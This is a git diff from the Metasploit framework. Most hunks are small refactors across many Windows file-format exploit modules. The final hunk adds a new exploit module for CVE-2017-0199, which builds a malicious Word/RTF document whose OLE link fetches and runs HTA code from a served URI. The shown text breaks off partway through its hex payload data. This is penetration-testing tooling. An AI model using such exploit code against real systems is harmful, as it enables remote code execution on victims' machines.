MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.kvl']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index 5f3157ad99..081c3123dc 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.pac']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb index 6b492c5605..4f593f0d9b 100644 --- a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb +++ b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.lzh']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb index 969b09a005..a6b632d8e6 100644 --- a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb +++ b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'mmm file', 'msf.mmm']), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb index 82e78e7f6c..fdc73b15d8 100644 --- a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb +++ b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb index ef37f52edf..fec8acf900 100644 --- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('URIPATH', [ true, "The URI to use", "/" ]), OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), OptPath.new('TEMPLATE', [true, 'A custom template for the payload in order to bypass McAfee', '']) - ], self.class) + ]) end def on_request_uri(cli, request) diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb index 63947ef024..a969c399ba 100644 --- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb +++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/mediajukebox.rb b/modules/exploits/windows/fileformat/mediajukebox.rb index a3b275d5b2..2eda741722 100644 --- a/modules/exploits/windows/fileformat/mediajukebox.rb +++ b/modules/exploits/windows/fileformat/mediajukebox.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'metasploit.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/microp_mppl.rb b/modules/exploits/windows/fileformat/microp_mppl.rb index c8fc52c28c..0ede9ebec6 100644 --- a/modules/exploits/windows/fileformat/microp_mppl.rb +++ b/modules/exploits/windows/fileformat/microp_mppl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.mppl']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb index 1df34cf54e..d32f2afe52 100644 --- a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb +++ b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb index c6ce8282a9..abca498815 100644 --- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb +++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pls']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb index 08d32e4615..beb7268a82 100644 --- a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 's3m file', 'song.s3m']), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb index b5290628b1..d1cb39ff58 100644 --- a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 's3m file', 'song.s3m']), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb index abca8b0b9a..34aab91bb5 100644 --- a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb +++ b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb index 74a36749a5..b0df267ce8 100644 --- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb index 2227ed7907..3a111ec4f1 100644 --- a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']), - ], self.class) + ]) end # Split the subtitle to avoid mplayer complaining diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index 8e0efe9bee..fa9e182b9c 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -97,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xls']), OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.local_directory]), - ], self.class) + ]) end def add_record(tag, data=nil) diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index ac9a801ea0..fa01d9294c 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -105,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppt']), OptString.new('OUTPUTPATH', [ true, 'Path to output the file', Msf::Config.local_directory ]) - ], self.class) + ]) end def ppt_record(tag, data=nil, ver=0, inst=0) diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb index 54346b5033..0cd62b6734 100644 --- a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xls']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb index cf2cc7d1fd..6f07cb2810 100644 --- a/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_087_rtf_pfragments_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -121,7 +119,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']), - ], self.class) + ]) end def add_target(rest, targ) diff --git a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb index 668d94bf17..2b582b238d 100644 --- a/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb +++ b/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' require 'rex/ole/util' @@ -105,7 +104,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb index 611d2f21e1..fc17c0d0f4 100644 --- a/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb +++ b/modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.xlb']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 6495b396d2..bcb0dd9c5d 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -62,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote OptEnum.new('INIT_PAYLOAD', [true, "The initial payload type", 'PYTHON', %w(RUBY PYTHON)]), OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb index 1548ef7a32..74cfeab1d4 100644 --- a/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb +++ b/modules/exploits/windows/fileformat/ms12_027_mscomctl_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), - ], self.class) + ]) end def stream(bytes) diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index f2d966c158..7c0264caf1 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']), OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr']) - ], self.class) + ]) deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') diff --git a/modules/exploits/windows/fileformat/ms14_017_rtf.rb b/modules/exploits/windows/fileformat/ms14_017_rtf.rb index aba2907db5..c632e10311 100644 --- a/modules/exploits/windows/fileformat/ms14_017_rtf.rb +++ b/modules/exploits/windows/fileformat/ms14_017_rtf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb index c68ecb9be7..c484410037 100644 --- a/modules/exploits/windows/fileformat/ms14_060_sandworm.rb +++ b/modules/exploits/windows/fileformat/ms14_060_sandworm.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -82,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), OptString.new('UNCPATH', [ true, 'The UNC folder to use (Ex: \\\\192.168.1.1\\share)' ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb index 70879a135d..07f20fd0a8 100644 --- a/modules/exploits/windows/fileformat/ms14_064_packager_python.rb +++ b/modules/exploits/windows/fileformat/ms14_064_packager_python.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -56,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb index 34e74d6c31..0c4e4065e2 100644 --- a/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb +++ b/modules/exploits/windows/fileformat/ms14_064_packager_run_as_admin.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -57,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb index 48157af3b3..cf2f27eb5d 100644 --- a/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/fileformat/ms15_020_shortcut_icon_dllloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [true, 'The LNK file', 'msf.lnk']), OptString.new('UNCHOST', [true, 'The host portion of the UNC path to provide to clients (ex: 1.2.3.4).']), OptString.new('UNCSHARE', [true, 'The share folder portion of the UNC path to provide to clients (ex: share).']), - ], self.class) + ]) end def smb_host diff --git a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb index 0c5fd421fe..badffe24be 100644 --- a/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb +++ b/modules/exploits/windows/fileformat/ms15_100_mcl_exe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [true, 'The MCL file', 'msf.mcl']), OptString.new('FILE_NAME', [ false, 'The name of the malicious payload to execute', 'msf.exe']) - ], self.class) + ]) deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb index d6f086132f..d2a3941ea6 100644 --- a/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb +++ b/modules/exploits/windows/fileformat/ms_visual_basic_vbp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.vbp']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index 772cf9a59f..5a4e76d11a 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' require 'nokogiri' @@ -92,7 +91,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']), - ], self.class) + ]) end # diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 33887dd6e5..26e4240ca8 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/mymp3player_m3u.rb b/modules/exploits/windows/fileformat/mymp3player_m3u.rb index e73e8a6b3a..df69d59f50 100644 --- a/modules/exploits/windows/fileformat/mymp3player_m3u.rb +++ b/modules/exploits/windows/fileformat/mymp3player_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb index f89cbd3663..38437badf3 100644 --- a/modules/exploits/windows/fileformat/netop.rb +++ b/modules/exploits/windows/fileformat/netop.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dws']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb index fa46dcbcae..4fbd80cf41 100644 --- a/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb +++ b/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The output filename.', 'corelannuance.pdf']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb index bedec99943..1a3623bab6 100644 --- a/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb +++ b/modules/exploits/windows/fileformat/office_ole_multiple_dll_hijack.rb @@ -1,6 +1,5 @@ require 'zip' require 'base64' -require 'msf/core' require 'rex/ole' class MetasploitModule < Msf::Exploit::Remote @@ -157,7 +156,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/office_word_hta.rb b/modules/exploits/windows/fileformat/office_word_hta.rb new file mode 100644 index 0000000000..0e732279e3 --- /dev/null +++ b/modules/exploits/windows/fileformat/office_word_hta.rb @@ -0,0 +1,157 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Microsoft Office Word Malicious Hta Execution", + 'Description' => %q{ + This module creates a malicious RTF file that when opened in + vulnerable versions of Microsoft Word will lead to code execution. + The flaw exists in how a olelink object can make a http(s) request, + and execute hta code in response. + + This bug was originally seen being exploited in the wild starting + in Oct 2016. This module was created by reversing a public + malware sample. + }, + 'Author' => + [ + 'Haifei Li', # vulnerability analysis + 'ryHanson', + 'wdormann', + 'DidierStevens', + 'vysec', + 'Nixawk', # module developer + 'sinn3r' # msf module improvement + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2017-0199'], + ['URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/acknowledgement_ofa.html'], + ['URL', 'https://www.helpnetsecurity.com/2017/04/10/ms-office-zero-day/'], + ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'], + ['URL', 'https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0251.html'], + ['URL', 'https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Office%20zero-day%20(April%202017)/2017-04%20Office%20OLE2Link%20zero-day%20v0.4.pdf'], + ['URL', 'https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/'], + ['URL', 'https://www.hybrid-analysis.com/sample/ae48d23e39bf4619881b5c4dd2712b8fabd4f8bd6beb0ae167647995ba68100e?environmentId=100'], + ['URL', 'https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/'], + ['URL', 'https://www.microsoft.com/en-us/download/details.aspx?id=10725'], + ['URL', 'https://msdn.microsoft.com/en-us/library/dd942294.aspx'], + ['URL', 'https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/[MS-CFB].pdf'], + ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199'] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Microsoft Office Word', {} ] + ], + 'DefaultOptions' => + { + 'DisablePayloadHandler' => false + }, + 'DefaultTarget' => 0, + 'Privileged' => false, + 'DisclosureDate' => 'Apr 14 2017')) + + register_options([ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']), + OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta']) + ]) + end + + def generate_uri + uri_maxlength = 112 + + host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'] + scheme = datastore['SSL'] ? 'https' : 'http' + + uri = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}" + uri = Rex::Text.hexify(Rex::Text.to_unicode(uri)) + uri.delete!("\n") + uri.delete!("\\x") + uri.delete!("\\") + + padding_length = uri_maxlength * 2 - uri.length + fail_with(Failure::BadConfig, "please use a uri < #{uri_maxlength} bytes ") if padding_length < 0 + padding_length.times { uri << "0" } + uri + end + + def create_ole_ministream_data + # require 'rex/ole' + # ole = Rex::OLE::Storage.new('cve-2017-0199.bin', Rex::OLE::STGM_READ) + # ministream = ole.instance_variable_get(:@ministream) + # ministream_data = ministream.instance_variable_get(:@data) + + ministream_data = "" + ministream_data << "01000002090000000100000000000000" # 00000000: ................ + ministream_data << "0000000000000000a4000000e0c9ea79" # 00000010: ...............y + ministream_data << "f9bace118c8200aa004ba90b8c000000" # 00000020: .........K...... + ministream_data << generate_uri + ministream_data << "00000000795881f43b1d7f48af2c825d" # 000000a0: ....yX..;..H.,.] + ministream_data << "c485276300000000a5ab0000ffffffff" # 000000b0: ..'c............ + ministream_data << "0609020000000000c000000000000046" # 000000c0: ...............F + ministream_data << "00000000ffffffff0000000000000000" # 000000d0: ................ + ministream_data << "906660a637b5d2010000000000000000" # 000000e0: .f`.7........... + ministream_data << "00000000000000000000000000000000" # 000000f0: ................ + ministream_data << "100203000d0000000000000000000000" # 00000100: ................ + ministream_data << "00000000000000000000000000000000" # 00000110: ................ + ministream_data << "00000000000000000000000000000000" # 00000120: ................ + 